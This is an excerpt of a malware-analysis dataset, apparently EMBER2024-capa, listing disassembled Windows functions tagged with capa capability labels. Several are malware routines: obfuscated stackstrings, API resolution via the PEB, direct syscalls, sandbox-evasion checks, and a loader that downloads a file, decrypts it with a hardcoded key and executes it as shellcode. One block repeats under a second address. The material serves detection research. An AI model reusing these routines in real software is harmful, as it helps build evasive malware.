joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140009ee0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov eax, 0x73
mov dword [rbp - 0x20], 0x2a0007
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], ax
mov dword [rbp - 0x1c], 0x47003e
mov dword [rbp - 0x18], 0x2d0031
mov dword [rbp - 0x14], 0x2d0020
mov dword [rbp - 0x10], 0x4c0032
call fcn.140005e60
mov rcx, rax
call 0x14000f440
mov ebx, 0x61
mov qword [0x1400161b8], rax
lea rcx, [rbp - 0x20]
mov word [rbp - 0x10], bx
mov dword [rbp - 0x20], 0x2a0007
mov dword [rbp - 0x1c], 0x47003e
mov dword [rbp - 0x18], 0x2d0031
mov dword [rbp - 0x14], 0x5e0051
call fcn.140002590
mov rcx, rax
call 0x14000f440
lea rcx, [rbp - 0x20]
mov qword [0x1400161a8], rax
mov dword [rbp - 0x20], 0x1b0022
mov dword [rbp - 0x1c], 0x650008
mov dword [rbp - 0x18], 0x610018
call fcn.140005ca0
mov rcx, rax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp 0x14000f440
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000f4a2
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.14000cbd0
test al, al
jne 0x14000f4b4
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000f470
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14000aa70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
movsxd rax, dword [rcx + 0x3c]
mov r12, rdx
mov rdx, rcx
mov ecx, dword [rax + rcx + 0x88]
xor eax, eax
add rcx, rdx
mov dword [rbp - 0x2c], eax
mov qword [rbp - 0x28], rcx
mov r8d, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x20]
add r8, rdx
mov r10d, dword [rcx + 0x24]
add r9, rdx
add r10, rdx
mov qword [rbp - 0x20], r8
mov qword [rbp - 0x18], r9
mov qword [rbp - 0x10], r10
cmp dword [rcx + 0x18], eax
jbe 0x14000ac9e
mov word [rbp + 0x50], 0x6f4c
mov word [rbp + 0x58], 0x6f4c
nop
mov esi, dword [r9 + rax*4]
lea rcx, [rbp + 0x50]
movzx eax, word [r10 + rax*2]
add rsi, rdx
xor edi, edi
mov r15d, dword [r8 + rax*4]
add r15, rdx
mov qword [rbp - 8], r15
call fcn.1400018c0
movzx ecx, byte [rax]
cmp byte [rsi], cl
je 0x14000ab24
nop dword [rax]
lea rcx, [rbp + 0x50]
inc rdi
call fcn.1400018c0
movzx ecx, byte [rax]
cmp byte [rdi + rsi], cl
jne 0x14000ab10
lea rcx, [rbp + 0x58]
xor ebx, ebx
call fcn.1400018c0
movzx ecx, byte [rax]
cmp byte [r12], cl
je 0x14000ab55
nop dword [rax + rax]
lea rcx, [rbp + 0x58]
inc rbx
call fcn.1400018c0
movzx ecx, byte [rax]
cmp byte [rbx + r12], cl
jne 0x14000ab40
cmp rdi, rbx
jne 0x14000ac72
mov r13, rsi
mov word [rbp - 0x50], 0x6f4c
sub r13, r12
mov r14, r12
nop dword [rax]
lea rcx, [rbp - 0x50]
xor ebx, ebx
call fcn.1400018c0
movzx ecx, byte [rax]
cmp byte [rsi], cl
je 0x14000ab96
lea rcx, [rbp - 0x50]
inc rbx
call fcn.1400018c0
movzx ecx, byte [rax]
cmp byte [rbx + rsi], cl
jne 0x14000ab82
mov rax, r14
sub rax, r12
dec rbx
cmp rax, rbx
jae 0x14000ac98
movsx r15d, byte [r14 + r13]
lea rcx, [rbp - 0x4e]
mov dword [rbp - 0x4e], 0x6f002d
call fcn.1400027f0
movzx eax, word [rax]
cmp r15d, eax
jl 0x14000ac08
lea rcx, [rbp - 0x4a]
mov dword [rbp - 0x4a], 0x6f0036
call fcn.1400027f0
movzx ecx, word [rax]
cmp r15d, ecx
jg 0x14000ac08
lea rcx, [rbp - 0x46]
mov dword [rbp - 0x46], 0x6f002d
mov dword [rbp - 0x42], 0x6f000d
call fcn.1400027f0
lea rcx, [rbp - 0x42]
movzx ebx, byte [rax]
call fcn.1400027f0
movzx ecx, byte [rax]
sub cl, bl
add r15b, cl
movsx edi, byte [r14]
lea rcx, [rbp - 0x3e]
mov dword [rbp - 0x3e], 0x6f002d
call fcn.1400027f0
movzx eax, word [rax]
cmp edi, eax
jl 0x14000ac65
lea rcx, [rbp - 0x3a]
mov dword [rbp - 0x3a], 0x6f0036
call fcn.1400027f0
movzx ecx, word [rax]
cmp edi, ecx
jg 0x14000ac65
lea rcx, [rbp - 0x36]
mov dword [rbp - 0x36], 0x6f002d
mov dword [rbp - 0x32], 0x6f000d
call fcn.1400027f0
lea rcx, [rbp - 0x32]
movzx ebx, byte [rax]
call fcn.1400027f0
movzx ecx, byte [rax]
sub cl, bl
add dil, cl
cmp r15b, dil
jne 0x14000ac72
inc r14
jmp 0x14000ab70
mov eax, dword [rbp - 0x2c]
mov rcx, qword [rbp - 0x28]
inc eax
mov dword [rbp - 0x2c], eax
cmp eax, dword [rcx + 0x18]
jae 0x14000ac9e
mov rdx, qword [rbp + 0x40]
mov r8, qword [rbp - 0x20]
mov r9, qword [rbp - 0x18]
mov r10, qword [rbp - 0x10]
jmp 0x14000aae0
mov rax, qword [rbp - 8]
jmp 0x14000aca0
xor eax, eax
mov rbx, qword [rsp + 0xb8]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000cef0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rbx, qword [0x1400161c0]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x7001f
mov dword [rbp - 0x1c], 0x650009
mov dword [rbp - 0x18], 0x520018
mov dword [rbp - 0x14], 0x420050
mov dword [rbp - 0x10], 0x650005
mov dword [rbp - 0xc], 0x68001f
call fcn.140002e40
mov rcx, rax
call rbx
mov rbx, qword [0x1400161c0]
lea rcx, [rbp - 0x20]
mov qword [0x1400161a0], rax
mov dword [rbp - 0x20], 0x6001b
mov dword [rbp - 0x1c], 0x600002
mov dword [rbp - 0x18], 0x4001a
mov dword [rbp - 0x14], 0x420016
mov dword [rbp - 0x10], 0x650005
mov dword [rbp - 0xc], 0x68001f
call fcn.140002e40
mov rcx, rax
call rbx
movdqa xmm0, xmmword [0x140015530]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140016130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400161b0], rax
mov word [rbp - 0x10], 0x5e00
mov byte [rbp - 0xe], 0x70
call fcn.140005220
mov rcx, qword [0x1400161a0]
mov rdx, rax
call rbx
mov rbx, qword [0x140016130]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x6509071f
mov dword [rbp - 0x1c], 0x91a2418
mov dword [rbp - 0x18], 0xd077c02
mov word [rbp - 0x14], 0x7738
call fcn.140001180
mov rcx, qword [0x1400161a0]
mov rdx, rax
call rbx
mov rbx, qword [0x140016130]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x6c180105
mov dword [rbp - 0x1c], 0x18070f06
mov dword [rbp - 0x18], 0x616792e
mov word [rbp - 0x14], 0x772e
call fcn.140001180
mov rcx, qword [0x1400161b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x1400155c0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140016130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400160e8], rax
mov byte [rbp - 0x10], 0x76
call fcn.140004e60
mov rcx, qword [0x1400161b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x1400154c0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140016130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400160f0], rax
mov dword [rbp - 0x10], 0x61156512
call fcn.1400029f0
mov rcx, qword [0x1400161b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140015560]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140016130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400160e0], rax
mov byte [rbp - 0x10], 0x76
call fcn.140004e60
mov rcx, qword [0x1400161b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x1400155a0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140016130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400160d8], rax
mov dword [rbp - 0x10], 0x201e661f
mov byte [rbp - 0xc], 0x6e
call fcn.140003790
mov rcx, qword [0x1400161b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140015500]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140016130]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0x4818
mov byte [rbp - 0xe], 0x70
call fcn.140005220
mov rcx, qword [0x1400161b0]
mov rdx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp rax
Function at 0x14000f440
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov eax, 0x73
mov dword [rbp - 0x20], 0x2a0007
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], ax
mov dword [rbp - 0x1c], 0x47003e
mov dword [rbp - 0x18], 0x2d0031
mov dword [rbp - 0x14], 0x2d0020
mov dword [rbp - 0x10], 0x4c0032
call fcn.140005e60
mov rcx, rax
call 0x14000f440
mov ebx, 0x61
mov qword [0x1400161b8], rax
lea rcx, [rbp - 0x20]
mov word [rbp - 0x10], bx
mov dword [rbp - 0x20], 0x2a0007
mov dword [rbp - 0x1c], 0x47003e
mov dword [rbp - 0x18], 0x2d0031
mov dword [rbp - 0x14], 0x5e0051
call fcn.140002590
mov rcx, rax
call 0x14000f440
lea rcx, [rbp - 0x20]
mov qword [0x1400161a8], rax
mov dword [rbp - 0x20], 0x1b0022
mov dword [rbp - 0x1c], 0x650008
mov dword [rbp - 0x18], 0x610018
call fcn.140005ca0
mov rcx, rax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp 0x14000f440
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000f4a2
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.14000cbd0
test al, al
jne 0x14000f4b4
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000f470
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140013080
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011276
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400143d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400143f0
xor al, al
jmp 0x140014471
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014403
xor al, al
jmp 0x140014471
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001442d
xor al, al
jmp 0x140014471
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014441
xor al, al
jmp 0x140014471
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014453
xor al, al
jmp 0x140014471
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001446f
xor al, al
jmp 0x140014471
mov al, 1
add rsp, 0x38
ret
Function at 0x140002bb0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rax, qword [0x140011020]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov dil, 1
cmp qword [rcx + 0x68], 0
je 0x140002c5c
mov rsi, rcx
cmp byte [rcx + 0x71], 0
je 0x140002c5c
mov rax, qword [rsi]
mov rcx, rsi
mov edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140002c5a
mov rcx, qword [rsi + 0x68]
lea r9, [rsp + 0x50]
lea rdx, [rsi + 0x74]
mov rax, qword [rcx]
lea rbx, [rsp + 0x28]
mov qword [rsp + 0x20], rbx
lea rdi, [rsp + 0x30]
mov r8, rdi
call qword [rax + 0x40]
cmp eax, 3
je 0x140002c73
cmp eax, 1
je 0x140002c27
test eax, eax
jne 0x140002c5a
mov byte [rsi + 0x71], 0
mov rbx, qword [rsp + 0x28]
sub rbx, rdi
je 0x140002c50
mov r9, qword [rsi + 0x80]
lea rcx, [rsp + 0x30]
mov edx, 1
mov r8, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x140002c5a
cmp byte [rsi + 0x71], 0
sete dil
jmp 0x140002c5c
xor edi, edi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000abe0
mov eax, edi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
mov dil, 1
jmp 0x140002c5c
Function at 0x140006b80
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x140006bb0
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x140006baf
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140006bb5
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x140006baf
mov eax, 0
jmp 0x140006baf

Function at 0x140007230
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.1400071e0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140010850
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140019390
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140019390
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x1400108c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140593834]
test esi, esi
mov rdi, rcx
mov rbp, rdx
mov rbx, r8
jle 0x140010a50
mov rax, qword [0x140593838]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rdi, rdx
jb 0x14001090c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rdi, rdx
jb 0x140010995
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x1400108f0
mov rcx, rdi
call fcn.140011420
test rax, rax
mov r12, rax
je 0x140010aa2
mov rax, qword [0x140593838]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.140011560
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x140593838]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140010a85
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14001098e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140010a00
add dword [0x140593834], 1
cmp ebx, 8
jae 0x1400109c1
test bl, 4
jne 0x140010a60
test ebx, ebx
je 0x1400109b6
movzx eax, byte [rbp]
test bl, 2
mov byte [rdi], al
jne 0x140010a74
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, ebx
sub ebx, 1
mov rdx, qword [rbp + rax - 8]
cmp ebx, 8
mov qword [rdi + rax - 8], rdx
jb 0x1400109b6
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, ebx
mov qword [rdi + rdx], rcx
jb 0x1400109da
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov r8d, 4
mov eax, 0x40
mov rcx, qword [rsp + 0x20]
cmovne r8d, eax
mov rdx, qword [rsp + 0x38]
add rsi, qword [0x140593838]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001098e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140010850
xor esi, esi
jmp 0x140010917
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rdi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rdi + rbx - 4], eax
jmp 0x1400109b6
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rdi + rbx - 2], ax
jmp 0x1400109b6
mov rax, qword [0x140593838]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.140010850
lea rcx, str.Address__p_has_no_image_section
mov rdx, rdi
call fcn.140010850
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x140011070
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1405938a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140593880]
test rbx, rbx
je 0x1400110c4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400110bb
test rsi, rsi
je 0x1400110bb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400110a0
lea rcx, [0x1405938a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140011420
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x14058e3d0]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14001148f
mov rcx, r9
call fcn.1400112f0
test eax, eax
je 0x14001148f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x14001148d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140011484
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14001148f
add rdx, 0x28
cmp rdx, r9
jne 0x140011470
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x14001b750
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x14058a0a0]
jmp 0x140012250

Function at 0x14001b760
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x14058a0a0]
jmp 0x140012250
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00420c10]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x00420c20]
mov dword [rax], 1
mov rax, qword [0x00420c30]
mov dword [rax], 1
mov rax, qword [0x00420c00]
mov dword [rax], 1
mov rax, qword [0x00420ae0]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x00420bf0]
mov dword [0x0042600c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00420bb0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00420a10]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067

Function at 0x401560
Capabilities:
Enumerate process modules
Get memory capacity
Get system information on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
call sym.clock
mov dword [rbp - 4], eax
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
sub eax, dword [rbp - 4]
cmp eax, 0x7cf
jle 0x4015a0
mov eax, 0
jmp 0x4016c9
mov dword [rbp - 0x10], 0
mov dword [rbp - 0xc], 0x50
lea rax, [rbp - 0x10]
mov r8, rax
mov edx, 0
mov ecx, 0
call sym.EnumProcesses
mov eax, dword [rbp - 0x10]
shr eax, 2
mov dword [rbp - 0x10], eax
mov eax, dword [rbp - 0x10]
cmp eax, 0x50
ja 0x4015df
mov eax, 1
jmp 0x4016c9
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp - 0x20]
cmp eax, 1
ja 0x401601
mov eax, 1
jmp 0x4016c9
mov dword [rbp - 0x80], 0x40
lea rax, [rbp - 0x80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 0x78]
movabs rdx, 0x20000000000
cmp rax, rdx
ja 0x401635
mov eax, 1
jmp 0x4016c9
mov dword [rbp - 0xa0], 0x18
lea rax, [rbp - 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetCursorInfo]
call rax
test eax, eax
sete al
test al, al
je 0x401662
mov eax, 1
jmp 0x4016c9
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov dword [rbp - 0xc0], 0x18
lea rax, [rbp - 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetCursorInfo]
call rax
test eax, eax
sete al
test al, al
je 0x40169d
mov eax, 1
jmp 0x4016c9
mov edx, dword [rbp - 0x90]
mov eax, dword [rbp - 0xb0]
cmp edx, eax
jne 0x4016c4
mov edx, dword [rbp - 0x8c]
mov eax, dword [rbp - 0xac]
cmp edx, eax
jne 0x4016c4
mov eax, 1
jmp 0x4016c9
mov eax, 0
add rsp, 0xe0
pop rbp
ret
Function at 0x401742
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x4017b6
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov r8, rdx
mov rdx, qword [rbp + 0x10]
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 8]
call rax
mov rax, qword [rbp - 8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x4017bd
Capabilities:
Download url
Read file on windows
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.6.bin
mov rdx, qword [rbp + 0x10]
mov ecx, 0
call sym.URLDownloadToFileA
test eax, eax
sete al
test al, al
je 0x40191b
lea rax, [rbp - 0x28]
lea r8, [0x0041e006]
lea rdx, str.6.bin
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_fopen_s]
call rax
test eax, eax
sete al
test al, al
je 0x40191b
mov rax, qword [rbp - 0x28]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.ftell
cdqe
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x28]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.operator_new___unsigned_long_long_
mov qword [rbp - 0x18], rax
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
cmp qword [rbp - 0x10], rax
sete al
test al, al
je 0x40191b
movabs rax, 0x72636e65656d6f73
movabs rdx, 0x656b6e6f69747079
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov word [rbp - 0x30], 0x79
mov qword [rbp - 0x20], 0x11
mov dword [rbp - 4], 0
cmp dword [rbp - 4], 0x1d
jg 0x4018fe
mov r8, qword [rbp - 0x20]
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sym.Crypt_unsigned_char__unsigned_long_long__char_const__unsigned_long_long_
add dword [rbp - 4], 1
jmp 0x4018d4
mov rax, qword [rbp + 0x18]
mov rdx, qword [rbp - 0x10]
mov qword [rax], rdx
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp - 0x18]
jmp 0x401920
mov eax, 0
